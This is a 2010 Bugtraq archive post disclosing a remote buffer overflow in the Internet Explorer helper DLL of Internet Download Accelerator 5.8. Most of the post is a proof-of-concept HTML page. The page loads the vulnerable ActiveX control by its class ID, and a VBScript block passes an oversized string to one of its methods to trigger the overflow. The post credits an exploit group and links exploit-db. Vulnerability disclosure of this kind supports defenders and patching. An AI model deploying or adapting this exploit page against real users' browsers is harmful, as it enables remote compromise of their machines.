Bugtraq mailing list archives

Internet Download Accelerator 5.8 Remote Buffer Overflow

From: g1xsystem () windowslive com
Date: Wed, 8 Sep 2010 05:15:35 -0600

<!--========================== ==================================================
Internet Explorer ver 7.0.5730.13
Tested On Windows SP2
Inj3ct0r team & yogyacarderlink team
Bug discovered by eidelweiss
Affected Software: idaiehlp.dll  BHO: IE 4.x-6.x BHO for Internet Download Accelerator - 
{2A646672-9C3A-4C28-9A7A-1FB0F63F28B6}
DLL VER : 2.4.1.110
program ver : 5.8.3.1221
download link : http://download1.westbyte.com/ida/idasetup.exe
vendor www. westbyte.com
www.inj3ct0r.com
www.yogyacarderlink.web.id
==============================================================================-->
<html>
<object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"></object>
<script language='vbscript'>
arg1=String(9696969, "A") + String(999999, unescape("%960"))
idaiehlp.NotSafe (arg1)
</script>

References :
- http://www.exploit-db.com/exploits/14938
- http://eidelweiss-advisories.blogspot.com/2010/09/internet-download-accelerator-58-remote.html

Current thread:

Internet Download Accelerator 5.8 Remote Buffer Overflow g1xsystem (Sep 10)